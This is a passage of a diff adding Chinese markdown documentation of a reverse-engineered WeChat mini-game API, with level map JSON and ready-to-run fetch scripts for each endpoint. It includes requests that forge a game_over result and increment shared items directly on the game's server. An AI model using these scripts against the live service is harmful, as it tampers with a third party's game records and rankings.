null, + "id" : "13-16-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 13 + }, + { + "rolNum" : 16, + "rowNum" : 24, + "blockNode" : null, + "id" : "13-16-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 13 + }, + { + "rolNum" : 48, + "rowNum" : 16, + "blockNode" : null, + "id" : "13-48-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 13 + }, + { + "rolNum" : 48, + "rowNum" : 24, + "blockNode" : null, + "id" : "13-48-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 13 + } + ], + "3" : [ + { + "rolNum" : 16, + "rowNum" : 16, + "blockNode" : null, + "id" : "3-16-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 8, + "rowNum" : 24, + "blockNode" : null, + "id" : "3-8-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 40, + "rowNum" : 16, + "blockNode" : null, + "id" : "3-40-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 48, + "rowNum" : 24, + "blockNode" : null, + "id" : "3-48-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 16, + "rowNum" : 40, + "blockNode" : null, + "id" : "3-16-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 24, + "rowNum" : 40, + "blockNode" : null, + "id" : "3-24-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 40, + "rowNum" : 40, + "blockNode" : null, + "id" : "3-40-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 32, + "rowNum" : 40, + "blockNode" : null, + "id" : "3-32-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 10, + "rowNum" : 56, + "blockNode" : null, + "id" : "3-10-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 46, + "rowNum" : 56, + "blockNode" : null, + "id" : "3-46-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 3 + } + ], + "21" : [ + { + "rolNum" : 44, + "rowNum" : 12, + "blockNode" : null, + "id" : "21-44-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 44, + "rowNum" : 20, + "blockNode" : null, + "id" : "21-44-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 36, + "rowNum" : 28, + "blockNode" : null, + "id" : "21-36-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 44, + "rowNum" : 28, + "blockNode" : null, + "id" : "21-44-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 36, + "rowNum" : 12, + "blockNode" : null, + "id" : "21-36-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 36, + "rowNum" : 20, + "blockNode" : null, + "id" : "21-36-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + } + ], + "14" : [ + { + "rolNum" : 12, + "rowNum" : 16, + "blockNode" : null, + "id" : "14-12-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 14 + }, + { + "rolNum" : 12, + "rowNum" : 24, + "blockNode" : null, + "id" : "14-12-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 14 + }, + { + "rolNum" : 44, + "rowNum" : 16, + "blockNode" : null, + "id" : "14-44-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 14 + }, + { + "rolNum" : 44, + "rowNum" : 24, + "blockNode" : null, + "id" : "14-44-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 14 + } + ], + "4" : [ + { + "rolNum" : 12, + "rowNum" : 20, + "blockNode" : null, + "id" : "4-12-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 4 + }, + { + "rolNum" : 44, + "rowNum" : 20, + "blockNode" : null, + "id" : "4-44-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 4 + }, + { + "rolNum" : 11, + "rowNum" : 56, + "blockNode" : null, + "id" : "4-11-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 4 + }, + { + "rolNum" : 45, + "rowNum" : 56, + "blockNode" : null, + "id" : "4-45-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 4 + } + ], + "5" : [ + { + "rolNum" : 8, + "rowNum" : 16, + "blockNode" : null, + "id" : "5-8-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 16, + "rowNum" : 16, + "blockNode" : null, + "id" : "5-16-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 8, + "rowNum" : 24, + "blockNode" : null, + "id" : "5-8-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 16, + "rowNum" : 24, + "blockNode" : null, + "id" : "5-16-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 40, + "rowNum" : 16, + "blockNode" : null, + "id" : "5-40-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 48, + "rowNum" : 16, + "blockNode" : null, + "id" : "5-48-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 40, + "rowNum" : 24, + "blockNode" : null, + "id" : "5-40-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 48, + "rowNum" : 24, + "blockNode" : null, + "id" : "5-48-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 12, + "rowNum" : 56, + "blockNode" : null, + "id" : "5-12-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 44, + "rowNum" : 56, + "blockNode" : null, + "id" : "5-44-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 5 + } + ], + "15" : [ + { + "rolNum" : 8, + "rowNum" : 20, + "blockNode" : null, + "id" : "15-8-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + }, + { + "rolNum" : 16, + "rowNum" : 16, + "blockNode" : null, + "id" : "15-16-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + }, + { + "rolNum" : 16, + "rowNum" : 24, + "blockNode" : null, + "id" : "15-16-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + }, + { + "rolNum" : 40, + "rowNum" : 20, + "blockNode" : null, + "id" : "15-40-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + }, + { + "rolNum" : 48, + "rowNum" : 16, + "blockNode" : null, + "id" : "15-48-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + }, + { + "rolNum" : 48, + "rowNum" : 24, + "blockNode" : null, + "id" : "15-48-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + } + ], + "22" : [ + { + "rolNum" : 48, + "rowNum" : 12, + "blockNode" : null, + "id" : "22-48-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 48, + "rowNum" : 20, + "blockNode" : null, + "id" : "22-48-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 48, + "rowNum" : 28, + "blockNode" : null, + "id" : "22-48-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 40, + "rowNum" : 12, + "blockNode" : null, + "id" : "22-40-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 32, + "rowNum" : 12, + "blockNode" : null, + "id" : "22-32-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 32, + "rowNum" : 20, + "blockNode" : null, + "id" : "22-32-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 40, + "rowNum" : 20, + "blockNode" : null, + "id" : "22-40-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 32, + "rowNum" : 28, + "blockNode" : null, + "id" : "22-32-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 40, + "rowNum" : 28, + "blockNode" : null, + "id" : "22-40-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + } + ], + "6" : [ + { + "rolNum" : 12, + "rowNum" : 16, + "blockNode" : null, + "id" : "6-12-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 6 + }, + { + "rolNum" : 12, + "rowNum" : 24, + "blockNode" : null, + "id" : "6-12-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 6 + }, + { + "rolNum" : 44, + "rowNum" : 16, + "blockNode" : null, + "id" : "6-44-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 6 + }, + { + "rolNum" : 44, + "rowNum" : 24, + "blockNode" : null, + "id" : "6-44-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 6 + }, + { + "rolNum" : 13, + "rowNum" : 56, + "blockNode" : null, + "id" : "6-13-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 6 + }, + { + "rolNum" : 43, + "rowNum" : 56, + "blockNode" : null, + "id" : "6-43-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 6 + } + ], + "23" : [ + { + "rolNum" : 36, + "rowNum" : 12, + "blockNode" : null, + "id" : "23-36-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + }, + { + "rolNum" : 44, + "rowNum" : 12, + "blockNode" : null, + "id" : "23-44-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + }, + { + "rolNum" : 36, + "rowNum" : 20, + "blockNode" : null, + "id" : "23-36-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + }, + { + "rolNum" : 44, + "rowNum" : 20, + "blockNode" : null, + "id" : "23-44-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + }, + { + "rolNum" : 36, + "rowNum" : 28, + "blockNode" : null, + "id" : "23-36-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + }, + { + "rolNum" : 44, + "rowNum" : 28, + "blockNode" : null, + "id" : "23-44-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + }, + { + "rolNum" : 28, + "rowNum" : 12, + "blockNode" : null, + "id" : "23-28-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + }, + { + "rolNum" : 28, + "rowNum" : 20, + "blockNode" : null, + "id" : "23-28-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + }, + { + "rolNum" : 28, + "rowNum" : 28, + "blockNode" : null, + "id" : "23-28-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + } + ], + "7" : [ + { + "rolNum" : 8, + "rowNum" : 20, + "blockNode" : null, + "id" : "7-8-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 16, + "rowNum" : 16, + "blockNode" : null, + "id" : "7-16-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 16, + "rowNum" : 24, + "blockNode" : null, + "id" : "7-16-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 40, + "rowNum" : 20, + "blockNode" : null, + "id" : "7-40-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 48, + "rowNum" : 16, + "blockNode" : null, + "id" : "7-48-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 48, + "rowNum" : 24, + "blockNode" : null, + "id" : "7-48-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 14, + "rowNum" : 56, + "blockNode" : null, + "id" : "7-14-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 42, + "rowNum" : 56, + "blockNode" : null, + "id" : "7-42-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 7 + } + ], + "16" : [ + { + "rolNum" : 16, + "rowNum" : 20, + "blockNode" : null, + "id" : "16-16-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 8, + "rowNum" : 16, + "blockNode" : null, + "id" : "16-8-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 8, + "rowNum" : 24, + "blockNode" : null, + "id" : "16-8-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 48, + "rowNum" : 20, + "blockNode" : null, + "id" : "16-48-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 40, + "rowNum" : 16, + "blockNode" : null, + "id" : "16-40-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 40, + "rowNum" : 24, + "blockNode" : null, + "id" : "16-40-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 20, + "rowNum" : 12, + "blockNode" : null, + "id" : "16-20-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 20, + "rowNum" : 28, + "blockNode" : null, + "id" : "16-20-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + } + ], + "8" : [ + { + "rolNum" : 48, + "rowNum" : 20, + "blockNode" : null, + "id" : "8-48-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 8 + }, + { + "rolNum" : 40, + "rowNum" : 16, + "blockNode" : null, + "id" : "8-40-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 8 + }, + { + "rolNum" : 40, + "rowNum" : 24, + "blockNode" : null, + "id" : "8-40-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 8 + }, + { + "rolNum" : 16, + "rowNum" : 20, + "blockNode" : null, + "id" : "8-16-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 8 + }, + { + "rolNum" : 8, + "rowNum" : 16, + "blockNode" : null, + "id" : "8-8-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 8 + }, + { + "rolNum" : 8, + "rowNum" : 24, + "blockNode" : null, + "id" : "8-8-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 8 + }, + { + "rolNum" : 15, + "rowNum" : 56, + "blockNode" : null, + "id" : "8-15-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 8 + }, + { + "rolNum" : 41, + "rowNum" : 56, + "blockNode" : null, + "id" : "8-41-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 8 + } + ], + "24" : [ + { + "rolNum" : 24, + "rowNum" : 12, + "blockNode" : null, + "id" : "24-24-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 24 + }, + { + "rolNum" : 24, + "rowNum" : 20, + "blockNode" : null, + "id" : "24-24-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 24 + }, + { + "rolNum" : 32, + "rowNum" : 12, + "blockNode" : null, + "id" : "24-32-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 24 + }, + { + "rolNum" : 32, + "rowNum" : 20, + "blockNode" : null, + "id" : "24-32-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 24 + }, + { + "rolNum" : 24, + "rowNum" : 28, + "blockNode" : null, + "id" : "24-24-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 24 + }, + { + "rolNum" : 32, + "rowNum" : 28, + "blockNode" : null, + "id" : "24-32-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 24 + }, + { + "rolNum" : 40, + "rowNum" : 20, + "blockNode" : null, + "id" : "24-40-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 24 + } + ], + "17" : [ + { + "rolNum" : 40, + "rowNum" : 20, + "blockNode" : null, + "id" : "17-40-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 48, + "rowNum" : 16, + "blockNode" : null, + "id" : "17-48-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 48, + "rowNum" : 24, + "blockNode" : null, + "id" : "17-48-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 4, + "rowNum" : 12, + "blockNode" : null, + "id" : "17-4-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 12, + "rowNum" : 12, + "blockNode" : null, + "id" : "17-12-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 4, + "rowNum" : 20, + "blockNode" : null, + "id" : "17-4-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 12, + "rowNum" : 20, + "blockNode" : null, + "id" : "17-12-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 20, + "rowNum" : 20, + "blockNode" : null, + "id" : "17-20-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 4, + "rowNum" : 28, + "blockNode" : null, + "id" : "17-4-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 12, + "rowNum" : 28, + "blockNode" : null, + "id" : "17-12-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 24, + "rowNum" : 12, + "blockNode" : null, + "id" : "17-24-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 24, + "rowNum" : 28, + "blockNode" : null, + "id" : "17-24-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + } + ], + "9" : [ + { + "rolNum" : 8, + "rowNum" : 20, + "blockNode" : null, + "id" : "9-8-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 16, + "rowNum" : 16, + "blockNode" : null, + "id" : "9-16-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 16, + "rowNum" : 24, + "blockNode" : null, + "id" : "9-16-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 40, + "rowNum" : 20, + "blockNode" : null, + "id" : "9-40-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 48, + "rowNum" : 16, + "blockNode" : null, + "id" : "9-48-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 48, + "rowNum" : 24, + "blockNode" : null, + "id" : "9-48-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 16, + "rowNum" : 56, + "blockNode" : null, + "id" : "9-16-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 40, + "rowNum" : 56, + "blockNode" : null, + "id" : "9-40-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 9 + } + ] + }, + "blockTypeData" : { + "10" : 5, + "15" : 4, + "3" : 5, + "11" : 5, + "4" : 5, + "16" : 5, + "5" : 5, + "12" : 5, + "6" : 5, + "13" : 5, + "7" : 5, + "8" : 5, + "14" : 5, + "9" : 5 + }, + "widthNum" : 8, + "heightNum" : 10, + "levelKey" : 100017 +} +``` +#### 15.4 脚本示例: +```javascript +const url = `https://cat-match-static.easygame2021.com/maps/83f4805746c2d9e8f40b5d0153f9e8b6.txt`; +const method = `GET`; +const headers = { + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/39/page-frame.html`, + 'Connection': `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'Host': `cat-match-static.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d30) NetType/WIFI Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` + +
+ + + + + + + +### 16、游戏结束【话题】 +
+点击展开 + +#### 16.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/topic/game_over +#### 13.2 请求体:少点东西,属性不全 +```json +{ + "rank_time" : 336, + "MapSeed2" : "1664643383", + "rank_state" : 2, + "Version" : "0.0.1" +} + +``` +#### 16.3 响应体: +```json +{ + "err_code" : 10001, + "err_msg" : "", + "data" : "" +} + +``` +#### 16.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/topic/game_over?`; +const method = `POST`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 't': `你的t`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/39/page-frame.html`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d30) NetType/WIFI Language/zh_CN` +}; +const body = `{"rank_state":2,"rank_time":336,"MapSeed2":"1664643383","Version":"0.0.1"}`; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); + +``` + +
+ + + + + + +### 17、sheep/v1/health +
+点击展开 + +#### 13.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/health +#### 13.2 请求体: +```json + 无请求体 +``` +#### 17.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : "ok" +} + +``` +#### 17.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/health?`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/39/page-frame.html`, + 't': `你的t`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d30) NetType/WIFI Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); + +``` + +
+ + + + +### 18、game/skin/info +
+点击展开 + +#### 18.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/skin/info +#### 18.2 请求体: +```json + 无请求体 +``` +#### 18.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "item_map" : { + "1" : { + "count" : 0 + }, + "2" : { + "count" : 0 + }, + "3" : { + "count" : 0 + } + } + } +} +``` +#### 18.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/skin/info?`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/39/page-frame.html`, + 't': `你的t`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d30) NetType/WIFI Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); + +``` + +
+ + + + +### 19、item/share/info_map +
+点击展开 + +#### 19.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/item/share/info_map +#### 19.2 请求体: +```json + 无请求体 +``` +#### 19.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "item_map" : { + "1" : { + "count" : 0 + }, + "2" : { + "count" : 0 + }, + "3" : { + "count" : 0 + } + } + } +} +``` +#### 19.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/item/share/info_map?`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/39/page-frame.html`, + 't': `你的t`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d30) NetType/WIFI Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` + +
+ + + + +### 20、game/topic/info +
+点击展开 + +#### 20.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/topic/info +#### 20.2 请求体: +```json + 无请求体 +``` +#### 20.3 响应体: +```json + +``` +#### 20.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/topic/info?`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/39/page-frame.html`, + 't': `你的t`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d30) NetType/WIFI Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` + +
+ + + + +### 21、game/topic/game_join +
+点击展开 + +#### 21.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/topic/game_join +#### 21.2 请求体: +```json +{ + "type" : 2 +} +``` +#### 21.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : 0 +} +``` +#### 21.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/topic/game_join?`; +const method = `POST`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 't': `你的t`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/39/page-frame.html`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d30) NetType/WIFI Language/zh_CN` +}; +const body = `{"type":2}`; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` + +
+ + + + +### 22、今日话题页 +
+点击展开 + +#### 22.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/topic/rank +#### 22.2 请求体: +```json + 无请求体 +``` +#### 22.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "left_fail" : 100099, + "right_fail" : 112342, + "your_side" : 2, + "your_index" : 0, + "left" : 83021, + "right" : 84530 + } +} +``` +#### 22.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/topic/rank?`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/39/page-frame.html`, + 't': `你的t`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d30) NetType/WIFI Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` + +
+ + + +### 23、item/share/incr +
+点击展开 + +#### 23.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/item/share/incr +#### 23.2 请求体: +```json +{ + "item_id" : 3 +} +``` +#### 23.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "count" : 1 + } +} +``` +#### 23.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/item/share/incr?`; +const method = `POST`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 't': `你的t`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/39/page-frame.html`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d30) NetType/WIFI Language/zh_CN` +}; +const body = `{"item_id":3}`; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` + +
